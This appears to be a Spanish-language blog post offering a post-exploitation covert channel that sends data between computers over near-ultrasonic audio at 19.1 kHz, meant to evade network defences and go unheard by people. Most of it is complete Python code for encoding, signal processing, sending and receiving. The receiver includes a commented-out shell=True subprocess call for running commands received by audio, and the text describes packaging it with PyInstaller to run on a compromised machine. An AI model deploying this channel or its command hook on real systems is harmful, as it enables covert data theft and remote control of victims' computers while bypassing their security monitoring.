Hace unos dias atrás revisando las nuevas tecnologías de ciber seguridad expuestas en la RSA, me di cuenta que cada vez el marketing entra mas en juego y cada vez son menos sofisticadas en algunos casos, y en otros presentan las herramientas tan avanzadas con tantas "features", que aveces fallan en cosas básicas.

Bueno, según lo visto muchas tecnologías actuales que utilizan inteligencia artificial para detectar trafico en la red raro o como ellos dicen "Anomaly traffic behavior", y una vez instalado el equipo en la red detectan posibles patrones de comunicación y lo llaman anti-bootnets y anti-malware .

Entonces la siguiente técnica de post-explotación hace algún tiempo que existe esta forma de comunicación, y se dice que BadBios la utilizaba esta técnica aunque nunca se llego a probar de la existencia de BadBios puesto que a mi parecer si la BIOS o el sistema operativo no tiene código ensamblador ya desarrollado para procesar la señal simplemente no lo aceptaría el sistema.

¿Como funciona?

Teniendo en cuenta que para expresar una señal en un método matemático la podemos expresar de la siguiente forma

**S(t) = A0 sin(ωt + φ) **

Por consiguiente si aplicamos la transformación de Fourier a S nos debería dar algo como esto

**Fω(S) = A0 eiφ **

Normalmente se descarta el factor del coeficiente de frecuencia (aunque lo podemos utilizar), pero hay que tener en cuenta que el factor del coeficiente de frecuencia es siempre es relativo a algo como por ejemplo el tiempo, tambien teniendo en cuenta que comparar la fase anterior con la actual se conoce como diferenciación de fase .

tomamos en cuanta lo siguiente:

  • 0 --- Se mantiene igual que el ejemplo anterior
  • π / 2 --- Siguiente bit es 1
  • π --- Siguiente bit es 0

NOTA:
Vamos a tener ademas en cuanta lo siguiente para no ser detectados por una persona

FUENTE WIKIPEDIA

Un oído sano y joven es sensible a las frecuencias comprendidas entre los 20 Hz y los 20 kHz. No obstante, este margen varía según cada persona y se reduce con la edad (llamamos presbiacusia a la pérdida de audición con la edad). Este rango equivale muy aproximadamente a diez octavas completas (210=1024). Frecuencias más graves incluso de hasta 4 ciclos por segundo son perceptibles a través del tacto, cuando la amplitud del sonido genera una presión suficiente.

Fuera del espectro audible:

Por encima estarían los ultrasonidos (Ondas acústicas de frecuencias superiores a los 20 kHz).
Por debajo, los infra-sonidos (Ondas acústicas inferiores a los 20 Hz).


Volviendo al tema nos interesa como post-explotación el poder enviar información de un punto A a un punto B sin evitando cualquier medida de seguridad ya sea por protección de red o por detección de medidas de seguridad y en este caso esta técnica las únicas medidas de seguridad que tenemos son el oído de un perro o el de un niño muy pequeño y ambas no suelen ser muy comunes en los entornos de trabajo.

Podemos utilizar http://www.whence.com/minimodem/

Pero la aplicación para post-explotación sera muy limitada puesto que dependerá para poder enviar o recibir información solo en ciertos caracteres y tendremos que modificar mucho el programa para poder enviar datos en un espectro no audible para by-pasear la seguridad que tenemos ;) asi que vamos a hacer una pequeña app en python que permita enviar y recibir mediante audio sin neceistadad ed Wifi, bluetooth o usb.

Entonces para este post-explotación ya deberíamos tener el computador comprometido

1.- Definimos las opciones en el file options.py

Recuerdan lo que dijo wikipedia pues el parámetro "freq" en el lado del que envía como el que recibe nos permitirá no ser audible por el oido humano asi poder enviar y recibir información silenciosa mente (ojo un perro o un niño pequeño es posible que les moleste el ruido)

rate = 44100
freq = 19100 
channels = 1
frame_length = 3
chunk = 256
datasize = chunk * frame_length
sigil = "00"

2.- Definimos los caracteres en binario en un archivo psk.py

" "  :"1",
"!" :"111111111",
'"' :"101011111",
'#'   :"111110101",
'$'   :"111011011",
'%'   :"1011010101",
'&'   :"1010111011",
"'"   :"101111111",
'('   :"11111011",
')'   :"11110111",
'*'   :"101101111",
'+'   :"111011111",
','   :"1110101",
'-'   :"110101",
'.'   :"1010111",
'/'   :"110101111",
'0'   :"10110111",
'1'   :"10111101",
'2'   :"11101101",
'3'   :"11111111",
'4'   :"101110111",
'5'   :"101011011",
'6'   :"101101011",
'7'   :"110101101",
'8'   :"110101011",
'9'   :"110110111",
':'   :"11110101",
';'   :"110111101",
'<'   :"111101101",
'='   :"1010101",
'>'   :"111010111",
'?'   :"1010101111",
'@'   :"1010111101",
'A'   :"1111101",
'B'   :"11101011",
'C'   :"10101101",
'D'   :"10110101",
'E'   :"1110111",
'F'   :"11011011",
'G'   :"11111101",
'H'   :"101010101",
'I'   :"1111111",
'J'   :"111111101",
'K'   :"101111101",
'L'   :"11010111",
'M'   :"10111011",
'N'   :"11011101",
'O'   :"10101011",
'P'   :"11010101",
'Q'   :"111011101",
'R'   :"10101111",
'S'   :"1101111",
'T'   :"1101101",
'U'   :"101010111",
'V'   :"110110101",
'W'   :"101011101",
'X'   :"101110101",
'Y'   :"101111011",
'Z'   :"1010101101",
'['   :"111110111",
'\\'   :"111101111",
']'   :"111111011",
'^'   :"1010111111",
'_'   :"101101101",
'`'   :"1011011111",
'a'   :"1011",
'b'   :"1011111",
'c'   :"101111",
'd'   :"101101",
'e'   :"11",
'f'   :"111101",
'g'   :"1011011",
'h'   :"101011",
'i'   :"1101",
'j'   :"111101011",
'k'   :"10111111",
'l'   :"11011",
'm'   :"111011",
'n'   :"1111",
'o'   :"111",
'p'   :"111111",
'q'   :"110111111",
'r'   :"10101",
's'   :"10111",
't'   :"101",
'u'   :"110111",
'v'   :"1111011",
'w'   :"1101011",
'x'   :"11011111",
'y'   :"1011101",
'z'   :"111010101",
'{'   :"1010110111",
'|'   :"110111011",
'}'   :"1010110101",
'~'   :"1011010111",
}

decode_psk = {}
for k, v in psk.items():
    decode_psk[v] = k

def encode(string):
    result = []
    for c in string:
        result.append(psk[c])
    return '00'.join(result) + '00'

def decode(string):
    try:
        return decode_psk[''.join([str(i) for i in string])]
    except:
        return ''

3.- Como estuvimos hablando procesamos la señal con quietnet.py


import numpy as np
import struct
import math

try: input = raw_input
except NameError: pass

def chunks(l, n):
    for i in xrange(0, len(l), n):
        yield l[i:i+n]

def unpack(buffer):
    return unpack_buffer(list(chunks(buffer, 2)))

def unpack_buffer(buffer):
    return [struct.unpack('h', frame)[0] for frame in buffer]

def pack_buffer(buffer):
    return [struct.pack('h', frame) for frame in buffer]

def fft(signal):
    return np.abs(np.fft.rfft(signal))

def get_peak(hertz, rate, chunk):
    return int(round((float(hertz) / rate) * chunk))

def weighted_values_around_peak(in_data, peak_index, offset):
    period = math.pi / (offset * 2)

    out_data = []
    for i in range(len(in_data)):
        if i >= peak_index - offset and i <= peak_index + offset:
            out_data.append(in_data[i] * np.abs(math.sin((period * (i - peak_index + offset)) + (math.pi / 2.0))))
        else:
            out_data.append(0)
    return out_data

def has_freq(fft_sample, freq_in_hertz, rate, chunk, offset=3):
    peak_index = get_peak(freq_in_hertz, rate, chunk)
    top = max(fft_sample[peak_index-1:peak_index+2])

    avg_around_peak = np.average(weighted_values_around_peak(fft_sample, peak_index, offset))

    if top > avg_around_peak:
        return fft_sample[peak_index]
    else:
        return 0

def get_signal(buffer):
    unpacked_buffer = unpack_buffer(list(chunks(buffer, 2)))
    return np.array(unpacked_buffer, dtype=float)

def raw_has_freq(buffer, freq_in_hertz, rate, chunk):
    fft_sample = fft(get_signal(buffer))
    return has_freq(fft_sample, freq_in_hertz, rate, chunk)

def get_freq_over_time(ffts, search_freq, chunk=1024, rate=44100):
    return [has_freq(fft, search_freq, rate, chunk) for fft in ffts]

def get_points(freq_samples, frame_length, threshold=None, last_point=0):
    if threshold == None:
        threshold = np.median(freq_samples)
    points = []
    for i in range(len(freq_samples)):
        freq_value = freq_samples[i]
        point = 0
        if freq_value > threshold:
            # ignore big changes in frequency when they aren't near the frame transition
            if last_point == 1 or (i % frame_length) <= 2:
                point = 1
            else:
                point = 0
        points.append(point)
        last_point = point
    return points

def get_bits(points, frame_length):
    return [int(round(sum(c) / float(frame_length))) for c in list(chunks(points, frame_length)) if len(c) == frame_length]

def get_bit(points, frame_length):
    return int(round(sum(points) / float(frame_length)))

def get_bytes(bits, sigil):
    i = 0
    # scan for the first occurance of the sigil
    while i < len(bits) - len(sigil):
        if bits[i:i+len(sigil)] == sigil:
            i += len(sigil)
            break
        i += 1
    return [l for l in list(chunks(bits[i:], 8)) if len(l) == 8]

def decode_byte(l):
    byte_string = ''.join([str(bit) for bit in l])
    return chr(int(byte_string, base=2))

def decode(bytes):
    string = ""
    for byte in bytes:
        byte = ''.join([str(bit) for bit in byte])
        string += chr(int(byte, base=2))
    return string

def tone(freq=400, datasize=4096, rate=44100, amp=12000.0, offset=0):
    sine_list=[]
    for x in range(datasize):
        samp = math.sin(2*math.pi*freq*((x + offset)/float(rate)))
        sine_list.append(int(samp*amp))
    return sine_list

def envelope(in_data, left=True, right=True, rate=44100):
    half = float(len(in_data)) / 2
    freq = math.pi / (len(in_data) / 2)
    out_data = []

    for x in range(len(in_data)):
        samp = in_data[x]
        if (x < half and left) or (right and x >= half):
            samp = samp * (1 + math.sin(freq*x - (math.pi / 2))) / 2
        out_data.append(int(samp))
   
 return out_data


-----------------------------------------------------

4.- Luego creamos un archivo para poder enviar la información que queremos enviar.py


import sys
import pyaudio
import quietnet
import options
import psk

FORMAT = pyaudio.paInt16
CHANNELS = options.channels
RATE = options.rate
FREQ = options.freq
FREQ_OFF = 0
FRAME_LENGTH = options.frame_length
DATASIZE = options.datasize

p = pyaudio.PyAudio()
stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, output=True)

user_input = input if sys.version_info.major >= 3 else raw_input

def make_buffer_from_bit_pattern(pattern, on_freq, off_freq):
    

    last_bit = pattern[-1]
    output_buffer = []
    offset = 0

    for i in range(len(pattern)):
        bit = pattern[i]
        if i < len(pattern) - 1:
            next_bit = pattern[i+1]
        else:
            next_bit = pattern[0]

        freq = on_freq if bit == '1' else off_freq
        tone = quietnet.tone(freq, DATASIZE, offset=offset)
        output_buffer += quietnet.envelope(tone, left=last_bit=='0', right=next_bit=='0')
        offset += DATASIZE
        last_bit = bit

    return quietnet.pack_buffer(output_buffer)

def play_buffer(buffer):
    output = ''.join(buffer)
    stream.write(output)

if __name__ == "__main__":
    print("presiona ctrl-c para salir")

    try:
        
        while True:
            message = user_input("> ")
            try:
              pattern = psk.encode(message)
              buffer = make_buffer_from_bit_pattern(pattern, FREQ, FREQ_OFF)
              play_buffer(buffer)
            except KeyError:
              print("ojo que solo se permite caracteres ASCCI definidos paleto.")
    except KeyboardInterrupt:
        stream.stop_stream()
        stream.close()
        p.terminate()
        print("exit adios")


5.- Por ultimo creamos el archivo para recibir los mensajes enviados recive.py


import Queue
import threading
import time
import pyaudio
import numpy as np
import quietnet
import options
import sys
import psk
from subprocess import call

FORMAT = pyaudio.paInt16
frame_length = options.frame_length
chunk = options.chunk
search_freq = options.freq
rate = options.rate
sigil = [int(x) for x in options.sigil]
frames_per_buffer = chunk * 10

in_length = 4000
in_frames = Queue.Queue(in_length)
points = Queue.Queue(in_length)
bits = Queue.Queue(in_length / frame_length)

wait_for_sample_timeout = 0.1
wait_for_frames_timeout = 0.1
wait_for_point_timeout = 0.1
wait_for_byte_timeout = 0.1


bottom_threshold = 8000

def process_frames():
    while True:
        try:
            frame = in_frames.get(False)
            fft = quietnet.fft(frame)
            point = quietnet.has_freq(fft, search_freq, rate, chunk)
            points.put(point)
        except Queue.Empty:
            time.sleep(wait_for_frames_timeout)

def process_points():
    while True:
        cur_points = []
        while len(cur_points) < frame_length:
            try:
                cur_points.append(points.get(False))
            except Queue.Empty:
                time.sleep(wait_for_point_timeout)

        while True:
            while np.average(cur_points) > bottom_threshold:
                try:
                    cur_points.append(points.get(False))
                    cur_points = cur_points[1:]
                except Queue.Empty:
                    time.sleep(wait_for_point_timeout)
            next_point = None
            while next_point == None:
                try:
                    next_point = points.get(False)
                except Queue.Empty:
                    time.sleep(wait_for_point_timeout)
            if next_point > bottom_threshold:
                bits.put(0)
                bits.put(0)
                cur_points = [cur_points[-1]]
                break
        print("")

        last_bits = []
        while True:
            if len(cur_points) == frame_length:
                bit = int(quietnet.get_bit(cur_points, frame_length) > bottom_threshold)
                cur_points = []
                bits.put(bit)
                last_bits.append(bit)
            if len(last_bits) > 3:
                if sum(last_bits) == 0:
                    break
                last_bits = last_bits[1:]
            try:
                cur_points.append(points.get(False))
            except Queue.Empty:
                time.sleep(wait_for_point_timeout)

def process_bits():
    while True:
        cur_bits = []
        
        while len(cur_bits) < 2 or cur_bits[-len(sigil):len(cur_bits)] != sigil:
            try:
                cur_bits.append(bits.get(False))
            except Queue.Empty:
                time.sleep(wait_for_byte_timeout)
        sys.stdout.write(psk.decode(cur_bits[:-len(sigil)]))
        sys.stdout.flush()
        ##para este ejemplo solo funciona tipo chat
        ## hay que utilizar subprocess para pasar los argumentos que se reciben de send.py a la terminal de recive.py
        """
        subprocess.call([psk.decode(cur_bits[:-len(sigil)])], shell=True)
        """



processes = [process_frames, process_points, process_bits]
threads = []

for process in processes:
    thread = threading.Thread(target=process)
    thread.daemon = True
    thread.start()

def callback(in_data, frame_count, time_info, status):
    frames = list(quietnet.chunks(quietnet.unpack(in_data), chunk))
    for frame in frames:
        if not in_frames.full():
            in_frames.put(frame, False)
    return (in_data, pyaudio.paContinue)

def start_analysing_stream():
    p = pyaudio.PyAudio()
    stream = p.open(format=FORMAT, channels=options.channels, rate=options.rate,
        input=True, frames_per_buffer=frames_per_buffer, stream_callback=callback)
    stream.start_stream()
    while stream.is_active():
        time.sleep(wait_for_sample_timeout)

sys.stdout.write("Escuchando en frecuencia %sHz" % search_freq)
sys.stdout.flush()
start_analysing_stream()

destacar que el comentario de la linea 99

para este ejemplo solo funciona tipo chat

hay que utilizar subprocess para pasar los argumentos que se reciben de send.py a la terminal de recive.py

Solo lo hemos utilizado para poder enviar y recibir datos definidos en archivo psk.py pero mas adelante lo modificaremos el archivo recive.py para poder enviar comandos de consola que sean recibidos por audio, Volviendo al tema de BadBios la única forma de poder mediante fourier traspasar información desde un punta A a un punto B mediante audio es que ambas partes sepan como comunicarse.

Para terminar los que estén interesados pueden utilizamos PyInstaller , para compilar recive.py, psk.py, quietnet.py, options.py en un mismo ejecutable con todas las dependencias y poder ejecutarlo una vez teniendo el equipo comprometido.

Con este método de poder enviar información mediante audio nos evitamos las protecciones de red completamente y solo dependeremos de que no nos puedan escuchar evitando así toda la seguridad :)

Nota:

Para poder enviar información dependerá de varios factores como, cercanía con el objetivo, frecuencia, ruido ambiente y potencia del sonido , pero en la mayoría de casos emitiendo suficientemente fuerte en una frecuencia no audible por el hombre el computador infectado que este corriendo el ejecutable podrá recibir la información sin mucho problema si el emisor emite con bastante fuerza y en el ambiente no hay mucho ruido, dependiendo el tipo de información puede demorar asta minutos aveces.

Mas información: